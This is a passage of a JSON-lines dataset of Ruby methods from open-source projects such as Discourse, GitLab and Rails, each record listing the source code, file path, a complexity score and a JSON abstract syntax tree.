COALESCE(prs.posts_read_count, 0) * 30 AS time_read -- assume 30 seconds / post\n        FROM users u\n             LEFT JOIN topic_stats ts ON u.id = ts.user_id\n             LEFT JOIN post_stats ps ON u.id = ps.user_id\n             LEFT JOIN reply_stats rs ON u.id = rs.user_id\n             LEFT JOIN like_stats ls ON u.id = ls.user_id\n             LEFT JOIN badge_stats bs ON u.id = bs.user_id\n             LEFT JOIN topic_reading_stats trs ON u.id = trs.user_id\n             LEFT JOIN posts_reading_stats prs ON u.id = prs.user_id\n          ON CONFLICT DO NOTHING\n    SQL\n\n    puts \"  Imported user stats in #{(Time.now - start_time).to_i} seconds.\"\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"import_user_stats\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing user stats...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  WITH\\n\"]},{\"type\":\"str\",\"children\":[\"    visible_posts AS (\\n\"]},{\"type\":\"str\",\"children\":[\"                       SELECT p.id, p.post_number, p.user_id, p.created_at, p.like_count, p.topic_id\\n\"]},{\"type\":\"str\",\"children\":[\"                         FROM posts p\\n\"]},{\"type\":\"str\",\"children\":[\"                              JOIN topics t ON p.topic_id = t.id\\n\"]},{\"type\":\"str\",\"children\":[\"                        WHERE t.archetype = 'regular'\\n\"]},{\"type\":\"str\",\"children\":[\"                          AND t.deleted_at IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"                          AND t.visible\\n\"]},{\"type\":\"str\",\"children\":[\"                          AND p.deleted_at IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"                          AND p.post_type = 1 /* regular_post_type */\\n\"]},{\"type\":\"str\",\"children\":[\"                          AND NOT p.hidden\\n\"]},{\"type\":\"str\",\"children\":[\"                     ),\\n\"]},{\"type\":\"str\",\"children\":[\"    topic_stats AS (\\n\"]},{\"type\":\"str\",\"children\":[\"                       SELECT t.user_id, COUNT(t.id) AS topic_count\\n\"]},{\"type\":\"str\",\"children\":[\"                         FROM topics t\\n\"]},{\"type\":\"str\",\"children\":[\"                        WHERE t.archetype = 'regular'\\n\"]},{\"type\":\"str\",\"children\":[\"                          AND t.deleted_at IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"                          AND t.visible\\n\"]},{\"type\":\"str\",\"children\":[\"                        GROUP BY t.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"                     ),\\n\"]},{\"type\":\"str\",\"children\":[\"    post_stats AS (\\n\"]},{\"type\":\"str\",\"children\":[\"                       SELECT p.user_id, MIN(p.created_at) AS first_post_created_at, SUM(p.like_count) AS likes_received\\n\"]},{\"type\":\"str\",\"children\":[\"                         FROM visible_posts p\\n\"]},{\"type\":\"str\",\"children\":[\"                        GROUP BY p.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"                     ),\\n\"]},{\"type\":\"str\",\"children\":[\"    reply_stats AS (\\n\"]},{\"type\":\"str\",\"children\":[\"                       SELECT p.user_id, COUNT(p.id) AS reply_count\\n\"]},{\"type\":\"str\",\"children\":[\"                         FROM visible_posts p\\n\"]},{\"type\":\"str\",\"children\":[\"                        WHERE p.post_number > 1\\n\"]},{\"type\":\"str\",\"children\":[\"                        GROUP BY p.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"                     ),\\n\"]},{\"type\":\"str\",\"children\":[\"    like_stats AS (\\n\"]},{\"type\":\"str\",\"children\":[\"                       SELECT pa.user_id, COUNT(*) AS likes_given\\n\"]},{\"type\":\"str\",\"children\":[\"                         FROM post_actions pa\\n\"]},{\"type\":\"str\",\"children\":[\"                              JOIN visible_posts p ON pa.post_id = p.id\\n\"]},{\"type\":\"str\",\"children\":[\"                        WHERE pa.post_action_type_id = 2 /* like */\\n\"]},{\"type\":\"str\",\"children\":[\"                          AND pa.deleted_at IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"                        GROUP BY pa.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"                     ),\\n\"]},{\"type\":\"str\",\"children\":[\"    badge_stats AS (\\n\"]},{\"type\":\"str\",\"children\":[\"                       SELECT ub.user_id, COUNT(DISTINCT ub.badge_id) AS distinct_badge_count\\n\"]},{\"type\":\"str\",\"children\":[\"                         FROM user_badges ub\\n\"]},{\"type\":\"str\",\"children\":[\"                              JOIN badges b ON ub.badge_id = b.id AND b.enabled\\n\"]},{\"type\":\"str\",\"children\":[\"                        GROUP BY ub.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"                     ),\\n\"]},{\"type\":\"str\",\"children\":[\"    post_action_stats AS ( -- posts created by user and likes given by user\\n\"]},{\"type\":\"str\",\"children\":[\"                       SELECT p.user_id, p.id AS post_id, p.created_at::DATE, p.topic_id, p.post_number\\n\"]},{\"type\":\"str\",\"children\":[\"                         FROM visible_posts p\\n\"]},{\"type\":\"str\",\"children\":[\"                        UNION\\n\"]},{\"type\":\"str\",\"children\":[\"                       SELECT pa.user_id, pa.post_id, pa.created_at::DATE, p.topic_id, p.post_number\\n\"]},{\"type\":\"str\",\"children\":[\"                         FROM post_actions pa\\n\"]},{\"type\":\"str\",\"children\":[\"                              JOIN visible_posts p ON pa.post_id = p.id\\n\"]},{\"type\":\"str\",\"children\":[\"                        WHERE pa.post_action_type_id = 2\\n\"]},{\"type\":\"str\",\"children\":[\"                     ),\\n\"]},{\"type\":\"str\",\"children\":[\"    topic_reading_stats AS (\\n\"]},{\"type\":\"str\",\"children\":[\"                       SELECT user_id, COUNT(DISTINCT topic_id) AS topics_entered,\\n\"]},{\"type\":\"str\",\"children\":[\"                              COUNT(DISTINCT created_at) AS days_visited\\n\"]},{\"type\":\"str\",\"children\":[\"                         FROM post_action_stats\\n\"]},{\"type\":\"str\",\"children\":[\"                        GROUP BY user_id\\n\"]},{\"type\":\"str\",\"children\":[\"                     ),\\n\"]},{\"type\":\"str\",\"children\":[\"    posts_reading_stats AS (\\n\"]},{\"type\":\"str\",\"children\":[\"                       SELECT user_id, SUM(max_post_number) AS posts_read_count\\n\"]},{\"type\":\"str\",\"children\":[\"                         FROM (\\n\"]},{\"type\":\"str\",\"children\":[\"                                SELECT user_id, MAX(post_number) AS max_post_number\\n\"]},{\"type\":\"str\",\"children\":[\"                                  FROM post_action_stats\\n\"]},{\"type\":\"str\",\"children\":[\"                                 GROUP BY user_id, topic_id\\n\"]},{\"type\":\"str\",\"children\":[\"                              ) x\\n\"]},{\"type\":\"str\",\"children\":[\"                        GROUP BY user_id\\n\"]},{\"type\":\"str\",\"children\":[\"                     )\\n\"]},{\"type\":\"str\",\"children\":[\"INSERT\\n\"]},{\"type\":\"str\",\"children\":[\"  INTO user_stats (user_id, new_since, post_count, topic_count, first_post_created_at, likes_received,\\n\"]},{\"type\":\"str\",\"children\":[\"                   likes_given, distinct_badge_count, days_visited, topics_entered, posts_read_count, time_read)\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT u.id AS user_id, u.created_at AS new_since, COALESCE(rs.reply_count, 0) AS reply_count,\\n\"]},{\"type\":\"str\",\"children\":[\"       COALESCE(ts.topic_count, 0) AS topic_count, ps.first_post_created_at,\\n\"]},{\"type\":\"str\",\"children\":[\"       COALESCE(ps.likes_received, 0) AS likes_received, COALESCE(ls.likes_given, 0) AS likes_given,\\n\"]},{\"type\":\"str\",\"children\":[\"       COALESCE(bs.distinct_badge_count, 0) AS distinct_badge_count, COALESCE(trs.days_visited, 1) AS days_visited,\\n\"]},{\"type\":\"str\",\"children\":[\"       COALESCE(trs.topics_entered, 0) AS topics_entered, COALESCE(prs.posts_read_count, 0) AS posts_read_count,\\n\"]},{\"type\":\"str\",\"children\":[\"       COALESCE(prs.posts_read_count, 0) * 30 AS time_read -- assume 30 seconds / post\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM users u\\n\"]},{\"type\":\"str\",\"children\":[\"       LEFT JOIN topic_stats ts ON u.id = ts.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"       LEFT JOIN post_stats ps ON u.id = ps.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"       LEFT JOIN reply_stats rs ON u.id = rs.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"       LEFT JOIN like_stats ls ON u.id = ls.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"       LEFT JOIN badge_stats bs ON u.id = bs.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"       LEFT JOIN topic_reading_stats trs ON u.id = trs.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"       LEFT JOIN posts_reading_stats prs ON u.id = prs.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"    ON CONFLICT DO NOTHING\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  Imported user stats in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start_time\"]}]}]},\"to_i\"]}]},{\"type\":\"str\",\"children\":[\" seconds.\"]}]}]}]}]}","id":"af5f80b1-04da-47bc-85f8-b724084f6397"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/reviewable/actions.rb","start_line":27,"raw_source":"def initialize(id, icon: nil, label: nil)\n        super(id)\n        @icon = icon\n        @label = label\n        @actions = []\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"kwoptarg\",\"children\":[\"icon\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"label\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@icon\",{\"type\":\"lvar\",\"children\":[\"icon\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@label\",{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@actions\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"7ab98626-022a-419b-bc5c-c230ed6c5945"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/members/invite_mailer.rb","start_line":16,"raw_source":"def initial_email(member, token)\n      @member = member\n      @token = token\n\n      return unless member_exists?\n\n      Gitlab::Tracking.event(self.class.name, 'invite_email_sent', label: 'invite_email')\n\n      mail_with_locale(\n        to: member.invite_email,\n        subject: EmailsHelper.subject_with_prefix_and_suffix([email_subject_text]),\n        **email_headers\n      )\n    end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initial_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member\"]},{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@member\",{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@token\",{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member_exists?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Tracking\"]},\"event\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]},{\"type\":\"str\",\"children\":[\"invite_email_sent\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"str\",\"children\":[\"invite_email\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"mail_with_locale\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"invite_email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailsHelper\"]},\"subject_with_prefix_and_suffix\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email_subject_text\"]}]}]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email_headers\"]}]}]}]}]}]}","id":"b22e557c-d34e-4112-8477-e1045d72e589"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/assertions/response_assertions_test.rb","start_line":95,"raw_source":"def test_error_message_shows_302_redirect_when_302_asserted_for_success\n        @response = ActionDispatch::Response.new\n        @response.status = 302\n        @response.location = \"http://test.host/posts/redirect/1\"\n\n        error = assert_raises(Minitest::Assertion) { assert_response :success }\n        expected = \"Expected response to be a <2XX: success>,\"\\\n                   \" but was a <302: Found>\" \\\n                   \" redirect to <http://test.host/posts/redirect/1>\"\n        assert_match expected, error.message\n      end","complexity_score":11.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_error_message_shows_302_redirect_when_302_asserted_for_success\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Response\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"status=\",{\"type\":\"int\",\"children\":[302]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"location=\",{\"type\":\"str\",\"children\":[\"http://test.host/posts/redirect/1\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected response to be a <2XX: success>,\"]},{\"type\":\"str\",\"children\":[\" but was a <302: Found>\"]},{\"type\":\"str\",\"children\":[\" redirect to <http://test.host/posts/redirect/1>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"d39f4eb2-7b93-42aa-881a-66a6547ee492"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/vimeo_onebox.rb","start_line":50,"raw_source":"def og_data\n        @og_data = get_opengraph\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"og_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@og_data\",{\"type\":\"send\",\"children\":[null,\"get_opengraph\"]}]}]}","id":"06b0359e-19a1-40ed-a7e5-eb54d9f6fa87"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/content_security_policy/extension.rb","start_line":6,"raw_source":"def site_setting_extension\n      { script_src: SiteSetting.content_security_policy_script_src.split(\"|\") }\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"site_setting_extension\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"script_src\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"content_security_policy_script_src\"]},\"split\",{\"type\":\"str\",\"children\":[\"|\"]}]}]}]}]}","id":"334f1799-8138-41b7-b79f-ab2275ea2fa9"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/search_service.rb","start_line":82,"raw_source":"def url_resource_symbol\n    url_resource.class.name.downcase.pluralize.to_sym\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"url_resource_symbol\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_resource\"]},\"class\"]},\"name\"]},\"downcase\"]},\"pluralize\"]},\"to_sym\"]}]}","id":"59916322-51c8-45d5-aa13-f3208aa26112"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/deployments/hooks_worker.rb","start_line":12,"raw_source":"def perform(params = {})\n      params = params.with_indifferent_access\n\n      if (deploy = Deployment.find_by_id(params[:deployment_id]))\n        log_extra_metadata_on_done(:deployment_project_id, deploy.project.id)\n        log_extra_metadata_on_done(:deployment_id, params[:deployment_id])\n\n        deploy.execute_hooks(params[:status], params[:status_changed_at].to_time)\n      end\n    end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"with_indifferent_access\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"deploy\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Deployment\"]},\"find_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"deployment_id\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_extra_metadata_on_done\",{\"type\":\"sym\",\"children\":[\"deployment_project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deploy\"]},\"project\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"log_extra_metadata_on_done\",{\"type\":\"sym\",\"children\":[\"deployment_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"deployment_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deploy\"]},\"execute_hooks\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status_changed_at\"]}]},\"to_time\"]}]}]},null]}]}]}","id":"996f5a17-59dc-446b-a2c7-ae438ddde448"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/application_controller.rb","start_line":452,"raw_source":"def check_session_lifetime\n    if session_expired?\n      self.logged_user = nil\n\n      flash[:warning] = I18n.t(\"notice_forced_logout\", ttl_time: Setting.session_ttl)\n      redirect_to(controller: \"/account\", action: \"login\", back_url: login_back_url)\n    end\n    session[:updated_at] = Time.now\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_session_lifetime\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_expired?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"logged_user=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"warning\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"notice_forced_logout\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ttl_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"session_ttl\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"/account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"back_url\"]},{\"type\":\"send\",\"children\":[null,\"login_back_url\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]}]}","id":"9b38934c-bc44-4de9-b81d-e905904b64d5"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/integration_test.rb","start_line":1369,"raw_source":"def dump_path\n    Pathname.new(Dir[\"#{Rails.root}/tmp/html_dump/#{method_name}*\"].sole)\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"dump_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"[]\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]}]},{\"type\":\"str\",\"children\":[\"/tmp/html_dump/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method_name\"]}]},{\"type\":\"str\",\"children\":[\"*\"]}]}]},\"sole\"]}]}]}","id":"c457ba8c-9a01-4975-ad01-3c63ba6056a5"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/output.rb","start_line":394,"raw_source":"def start\n        super\n\n        if instance_variable_defined?(:@formatter) && @inject_config\n          unless @formatter.class.ancestors.include?(Fluent::Compat::HandleTagAndTimeMixin)\n            if @formatter.respond_to?(:owner) && !@formatter.owner\n              @formatter.owner = self\n              @formatter.singleton_class.prepend FormatterUtils::InjectMixin\n            end\n          end\n        end\n      end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@formatter\"]}]},{\"type\":\"ivar\",\"children\":[\"@inject_config\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@formatter\"]},\"class\"]},\"ancestors\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Compat\"]},\"HandleTagAndTimeMixin\"]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@formatter\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"owner\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@formatter\"]},\"owner\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@formatter\"]},\"owner=\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@formatter\"]},\"singleton_class\"]},\"prepend\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FormatterUtils\"]},\"InjectMixin\"]}]}]},null]}]},null]}]}]}","id":"aae1c979-e0be-47d1-9d14-5f40bd1d960b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeable_field.rb","start_line":135,"raw_source":"def self.seed_data\n    fixture_file = File.join(FIXTURE_DIR, 'chargeable_fields.yml')\n    File.exist?(fixture_file) ? YAML.load_file(fixture_file) : []\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"seed_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fixture_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"const\",\"children\":[null,\"FIXTURE_DIR\"]},{\"type\":\"str\",\"children\":[\"chargeable_fields.yml\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"fixture_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"lvar\",\"children\":[\"fixture_file\"]}]},{\"type\":\"array\",\"children\":[]}]}]}]}","id":"c27a95cb-439e-440d-99cc-3a41253ae5a7"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/promotion_handler/promotion_duplicator.rb","start_line":9,"raw_source":"def duplicate\n        @new_promotion = @promotion.dup\n        @new_promotion.path = \"#{@promotion.path}_#{@random_string}\"\n        @new_promotion.name = \"New #{@promotion.name}\"\n        @new_promotion.code = \"#{@promotion.code}_#{@random_string}\"\n        @new_promotion.stores = @promotion.stores\n\n        ActiveRecord::Base.transaction do\n          @new_promotion.save\n          copy_rules\n          copy_actions\n        end\n\n        @new_promotion.reload\n      end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"duplicate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@new_promotion\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@promotion\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@new_promotion\"]},\"path=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@promotion\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@random_string\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@new_promotion\"]},\"name=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"New \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@promotion\"]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@new_promotion\"]},\"code=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@promotion\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@random_string\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@new_promotion\"]},\"stores=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@promotion\"]},\"stores\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@new_promotion\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"copy_rules\"]},{\"type\":\"send\",\"children\":[null,\"copy_actions\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@new_promotion\"]},\"reload\"]}]}]}","id":"c733eac3-2ba1-4bc6-bf1b-cf37fbb5366d"}
